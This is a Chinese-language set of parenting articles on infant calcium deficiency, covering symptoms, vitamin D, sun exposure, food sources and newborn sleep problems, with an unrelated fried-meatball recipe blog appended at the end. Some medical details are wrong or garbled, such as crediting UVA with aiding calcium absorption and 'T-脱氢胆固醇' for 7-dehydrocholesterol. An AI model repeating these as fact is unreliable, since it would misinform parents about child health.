当婴幼儿体内血钙不足时(常低于7.5毫克/分升),可发生手足抽搐症,常伴有不同程度的佝偻病症状。早期可见多汗、睡眠不安及易惊、食欲减退,易患呼吸道感染、贫血及枕秃等,严重者,则出现手足抽搐。这时应及时补充钙剂,而且要与含维生素D的药物如鱼肝油等配合应用。因为它们能促进钙、磷的吸收,减少尿磷排出,提高枸橼酸盐的血浓度。枸橼酸盐同钙结合成高浓度的复合物,有利于新骨的钙化。但应注意,不要把钙剂当成营养品,多多益善。如果食人过量的钙,可因机体调节机制的作用而减少钙的吸收,并在肠道形成钙锌磷酸盐化合物。钙锌磷酸盐化合物不但难以吸收,还可能降低对蛋白质与脂肪的吸收。故钙过量不仅无益反而有害。
由于小儿生长迅速,并且户外活动少,晒太阳少,常引起钙的吸收不足而导致各种缺钙表现。小儿是否缺钙可从以下几个方面判断:
①常表现为多汗,与温度无关,尤其是入睡后头部出汗,使小儿头颅不断磨擦枕头,久之颅后可见枕秃圈。
②精神烦躁,对周围环境不感兴趣,有时父母发现小儿不如以往活泼。
③夜惊,夜间常突然惊醒,啼哭不止。
④1岁以后的小儿表现为出牙晚,有的小儿1岁半时仍未出牙,前囱门闭合延迟,常在1岁半后仍不闭合。
⑤前额高突,形成方颅。
⑥常有串珠肋,是由于缺乏维生素D(可促进钙的吸收),肋软骨增生,各个肋骨的软骨增生连起似串珠样,常压迫肺脏,使小儿通气不畅,容易患气管炎,肺炎。
小儿缺钙严重时,肌肉肌腱均松弛。如果腹壁肌肉、肠壁肌肉松弛,可引起肠腔内积气而形成腹部膨大如蛙腹状。如果是脊柱的肌腱松弛,可出现驼背。1岁以后小儿学走路,如果缺钙,可使骨质软化,站立时身体重量使下肢弯曲,有的表现为“X”形腿,有的表现为“O”形腿,并且容易发生骨折。
缺钙的表现各种各样,父母应学会根据表现判断自己的孩子是否缺钙,以便在缺钙时及时给孩子提供含钙丰富的食物,如鱼、虾皮、海带、排骨汤,同时多吃含维生素D丰富的食物,如猪肝、羊肝、牛肝,来促进钙的吸收。一般情况下,缺钙较轻的患儿在食补后即可改善缺钙症状。如果症状较重,可在医生指导下补充维生素D和钙剂。
建议给孩子正常补钙和维生素D,并多晒太阳。可每天上午下午各晒半小时。
紫外线可将皮下T-脱氢胆固醇转变为维生素D3;维生素D3可帮助钙的吸收。
南京市儿童医院儿保康复科主任医师田国英介绍,天气转冷以后,前来就诊的1岁以内的婴儿中,伴有缺钙症状的不断增多。孩子的症状主要是烦躁、易哭闹、睡不沉,有的患儿还出现了前囟门大、枕秃、肋缘外翻、出牙迟等症状。
据介绍,近期婴儿频频出现缺钙,一方面是因为冬日小儿特别是婴儿外出较少,没有什么机会晒太阳,造成婴儿缺钙;另一方面是由于1岁以内的小儿生长发育较快,需要的钙较多,有些家长认为母乳营养好,即使母乳的奶量不足也不能及时给孩子添加婴儿配方奶粉以及其他辅食,造成婴儿生长发育需要的营养不足,而出现缺钙症状。
田国英提醒家长,冬季除了要注意给婴儿补充足够的营养外,还要在上午10点左右和下午3-4点带孩子到户外晒晒太阳,因为此时阳光中紫外线的A光最为丰富,能促进钙磷吸收。如果孩子出现缺钙症状,就要及时带孩子到医院就诊,在医生的指导下接受正确治疗,不要自行给孩子服用钙制剂和维生素D制剂,因为补充过多的钙剂和维生素D制剂同样可以影响孩子的生长发育。(张星)
现实生活中,不少母亲对婴儿呵护有加,舍不得让婴儿受到太阳照射。余医生指出,这其实是一个误区,阳光照射可以促使人体产生维生素D,而维生素D可以促进钙的吸收。所以在补钙的同时,必须要有维生素D参与,钙才能被吸收利用。如果没有维生素D参与钙的代谢,人体对钙的吸收率将达不到10%。余医生主张尽可能让婴儿露出最多的皮肤,充分照射全身,6个月内的婴儿每天半小时,1岁以上则是1小时至2小时,但要注意不能受烈日直接照射,特别是眼睛不能直接面对阳光。
除此之外,高脂肪膳食会使钙与脂肪酸结合,形成不溶性钙皂而影响吸收,而一些含草酸高的蔬菜,如茭白、竹笋、菠菜、苋菜可将钙结合为难溶解的草酸钙而影响钙的吸收,因而在日常的饮食方面也应多加注意
常喝牛奶:是补钙首选
资料显示,目前我国市场上的钙补充品已达200多种,许多妈妈心存疑问,该如何选择钙制品,何时给孩子补钙,补到何种程度才算合适?据介绍,处于
生长发育 期的儿童和青少年,对钙的吸收能力很强,年龄增加,钙的吸收率就下降,婴幼儿可高达50%至60%,儿童青少年30%至40%,成年人20%至30%,中 年人10%至20%,60岁以上低于10%,所以从婴幼时开始摄入足够的钙是最合适的,对个人的成长发育直至老年时的健康,有着深远的重大意义。
余医生说,市场上钙制品种类繁多,因此应当在医生的指导下给婴幼儿服食准字号钙制品。而根据现行的儿童保健常规,不能长期大剂量使用钙制品,最好通过食物 来满足孩子所需要的钙质,才是正确的补钙方法。牛奶则是钙的最好来源,每100毫升牛奶中通常含有110毫克到130毫克的钙,每日需要500毫升牛奶。 如果孩子不喜欢喝牛奶,或喝牛奶容易出现腹涨、闹肚子、过敏等,可选择酸奶或低乳糖乳制品,也可将牛奶多煮几次。
此外,广东有煲汤的习惯,认为每天给孩子喝“精汤”是最好的照顾,其实,仅靠“精汤”并不能养出健康的孩子,真正有营养的是汤中的剩渣,所以在给孩子喝汤的同时,最好将煮烂的成分给孩子同时吃下。
缺钙根源:准妈妈的责任
据介绍,人的营养结构十分复杂、细化,包括有脂肪、糖、水、微量元素等各种成分组成。由于中国人饮食习惯中,粮谷类、肉禽类、瓜茄类以及水果类食品占了日 常生活消费的重要部分,这些食物的钙元素的含量普遍偏低。例如一个成年人一餐吃了4两米饭、一个西红柿炒蛋、一个青椒肉丝,饭后又来了一个苹果,他自己可 能认为摄入的营养已经比较均衡了,但是实际上他的钙摄入量只有200毫克左右。如此一日三餐,与中国营养学会2000年10月制定的4岁以上每天摄入 800毫克至1000毫克钙的标准相差很多。因此尽管目前人们的生活水平的确高于以前,但传统的饮食习惯客观上造成如今国人普遍缺钙的现状。余医生特别指 出,由于大多数的准妈妈本身钙元素可能就不足,怀孕期间也没有加强含钙食物的摄入,造成婴儿在母亲体中未能吸收到足够的营养,从而导致婴儿出生后钙元素不足的情况。因此,余医生建议,孕妇应当注意均衡饮食,同时在医生的指导下适当地服食一些含钙较高的物质如钙片等,从根源上做好钙质储备。
调查,我国一般儿童每日摄入钙量为0.3~0.4克。如果每日保证摄入牛奶400毫升可增加0.4克。然而幼儿肠道吸收钙要有恰当的钙、磷比例,否则肠道中的钙与磷会互相结合而排出。由于粮食中含磷甚高,所以要提高食物中钙的含量,不然会出现佝偻病。食物的合理烹调可以增加钙的摄入。如将鱼制成酥鱼,即用葱、姜铺底,将鱼排放在上,加醋慢火炖烂,至鱼刺和鱼头都酥了,能完全吃下。鱼的刺、鱼头、鱼鳞都成为可食用的钙剂。又如醋泡蛋,使蛋壳中的钙溶解到醋中,将醋和蛋全都服用,可溶解的钙就能被利用。又如调肉馅时将虾米皮剁碎调入,虾皮的钙随之吞入而被利用。用压力锅炖肉鸡或肋软骨时,经常能将肉鸡的骨头炖酥了,鼓励孩子将骨头咬碎咽下,可以增加钙的摄入。家长经常注意烹调,提高钙的摄入量,尽量利用食物,实在不足时可用钙剂补充。
新生儿的睡眠时间是成人的2倍多,每天大约有18-22小时是在熟睡之中。新生儿睡眠不安的原因很多,家长应有的放矢,采取相应的护理措施。
如果是白天睡觉时间很长,而夜晚哭闹不安,即所谓的“夜哭郎”。那么应尽量设法让他白天少睡些,晚上自然就能睡好。
别外应看看室内温度是否过高,或包被裹得太多、太紧,孩子因太热而睡不安稳。这时孩子鼻尖上可能有汗珠,摸摸身上会是潮呼呼的。这就需要降低室温,减少或松开包被,解除过热感,舒适了就能入睡。如果摸摸小脚发凉,则表示孩子是由于保暖不足而不眠,可加厚盖被或用热水袋在包被外保温,另外尿布湿了,或没有吃饱等也会影响睡眠,应当及时更换尿布,并勤喂奶,让孩子吃饱。
如果逐一检查这些情况都不存在,而母亲在孕期就有维生素D和钙剂摄入不足的情况,则可能孩子有低血钙症。低血钙症的早期也有睡觉不安稳的表现,但一般在补充维生素D和葡萄糖酸钙后即可好转。
如果除睡眠不安外还有发热、不吃奶等其他症状时,应及时去医院诊治。
炸肉圆,肉圆制作
炸肉圆
国庆前,孩子他妈成天想吃肉圆,外边卖的肉圆,她又不想吃。非要自己做,可又懒得下厨房。于是老缠着我,让我去炸肉圆。长这么大,偶只吃过肉圆,见过老妈炸肉圆。还没自己去做过呢。正好国庆回老家,可以向老妈学学炸肉圆。
准备材料:肉、生姜、葱、蒜、鸡蛋、淀粉、色拉油、糯米饭。
制作过程:
因为自己想体验一下剁肉的感觉。所以没有买绞现成的肉,也没有用绞肉机去绞。
1. 剁肉。把猪肉洗干净,晾干(防止水太多)。然后把肉切成小块,用刀反复地去剁,直到全部剁成肉泥。
2. 生姜、葱、蒜切未
3. 煮糯米饭
4. 将糯米饭、肉泥、少许淀粉、生姜、葱、蒜未和成一起,一边搅,一边打鸡蛋,搅拌均匀。
5. 将油倒入锅。加热,将和好的馅搓成圆形(可准备一碗用淀粉和的水,防止手太粘),放入锅中,炸至深黄色即可。
因为我一向不喜欢按常规做事,所以也搓了一些别的形状。炸成肉饼,肉棒,肉三角,感觉比圆的好吃,可能是因为炸到的面积比较大且里边更容易熟吧。



